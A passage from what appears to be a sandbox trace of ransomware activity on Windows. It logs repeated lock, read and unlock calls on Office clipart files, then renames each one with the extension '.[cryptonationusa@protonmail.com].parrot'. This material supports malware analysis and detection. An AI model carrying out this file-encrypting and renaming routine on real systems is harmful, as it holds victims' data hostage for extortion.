dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x132c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.588] CloseHandle (hObject=0x288) returned 1 [0132.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.591] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x182c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.591] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.609] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.609] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1714, lpOverlapped=0x0) returned 1 [0132.613] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.614] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x182c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.614] CloseHandle (hObject=0x288) returned 1 [0132.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.617] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4658, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.617] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.617] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.619] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.619] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4540, lpOverlapped=0x0) returned 1 [0132.637] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.638] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4658, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.638] CloseHandle (hObject=0x288) returned 1 [0132.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.641] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c40, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.641] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.641] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.645] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.645] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b28, lpOverlapped=0x0) returned 1 [0132.651] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.651] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.651] CloseHandle (hObject=0x288) returned 1 [0132.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.655] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.655] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.657] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d14, lpOverlapped=0x0) returned 1 [0132.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.667] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.667] CloseHandle (hObject=0x288) returned 1 [0132.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.670] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.670] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.672] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12bc, lpOverlapped=0x0) returned 1 [0132.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.696] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.696] CloseHandle (hObject=0x288) returned 1 [0132.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.699] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ac0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.699] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.722] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a8, lpOverlapped=0x0) returned 1 [0132.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.736] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ac0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.736] CloseHandle (hObject=0x288) returned 1 [0132.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.740] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ef0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.740] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.740] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.759] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0132.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.785] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ef0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.785] CloseHandle (hObject=0x288) returned 1 [0132.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.789] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.789] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.790] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a14, lpOverlapped=0x0) returned 1 [0132.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.791] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.791] CloseHandle (hObject=0x288) returned 1 [0132.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.794] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1698, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.794] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.794] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.815] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1580, lpOverlapped=0x0) returned 1 [0132.849] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.849] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1698, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.849] CloseHandle (hObject=0x288) returned 1 [0132.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.856] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.856] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.857] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.857] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18b0, lpOverlapped=0x0) returned 1 [0132.861] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.861] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.861] CloseHandle (hObject=0x288) returned 1 [0132.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.864] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.864] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.864] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.866] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.866] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10e0, lpOverlapped=0x0) returned 1 [0132.869] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.869] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.869] CloseHandle (hObject=0x288) returned 1 [0132.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.873] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.873] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.873] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.881] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e4, lpOverlapped=0x0) returned 1 [0132.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.882] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.882] CloseHandle (hObject=0x288) returned 1 [0132.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.885] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2050, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.885] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.886] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.887] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f38, lpOverlapped=0x0) returned 1 [0132.894] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.895] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2050, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.895] CloseHandle (hObject=0x288) returned 1 [0132.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.898] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a24, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.898] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.898] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.900] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.900] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x290c, lpOverlapped=0x0) returned 1 [0132.907] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.908] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.908] CloseHandle (hObject=0x288) returned 1 [0132.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 